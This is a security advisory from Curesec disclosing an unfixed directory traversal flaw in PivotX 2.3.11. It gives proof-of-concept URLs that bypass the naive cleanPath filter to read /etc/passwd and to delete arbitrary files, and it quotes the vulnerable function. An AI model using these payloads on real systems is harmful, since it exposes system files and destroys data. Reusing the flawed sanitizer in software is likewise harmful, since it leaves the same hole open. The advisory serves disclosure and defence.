PivotX 2.3.11 Directory Traversal

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: PivotX 2.3.11  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: http://pivotx.net/  
Vulnerability Type: Directory Traversal  
Remote Exploitable: Yes  
Reported to vendor: 01/20/2016  
Disclosed to public: 03/15/2016  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is  
vulnerable to Directory Traversal, allowing authenticated users to read and  
delete files outside of the PivotX directory.  
  
3. Details  
  
Description  
  
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N  
  
The function cleanPath which is responsible for sanitizing path names can be  
bypassed by an attacker, leading to directory traversal in multiple places.  
  
Proof of Concept  
  
Admins and Superadmins can read any file:  
  
http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=  
L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../  
/.....//...//.....//...//.....//...//.....//...//etc/passwd  
  
Advanced users, Admins and Superadmins can delete any file, possibly leading to  
DOS:  
  
http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../  
/.....//...//.....//...//.....//...//.....//...//.....//...//important/  
important.file&pivotxsession=ovyyn4ob2jc5ym92  
  
Code  
  
lib.php  
function cleanPath($path) {  
$path = str_replace('../', '', $path);  
$path = str_replace('..\\', '', $path);  
$path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);  
return $path;  
}  
  
4. Solution  
  
This issue was not fixed by the vendor.  
  
5. Report Timeline  
  
01/20/2016 Informed Vendor about Issue  
01/29/2016 Vendor replies, PivotX is not maintained anymore  
03/15/2016 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/PivotX-2311-Directory-Traversal-154.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`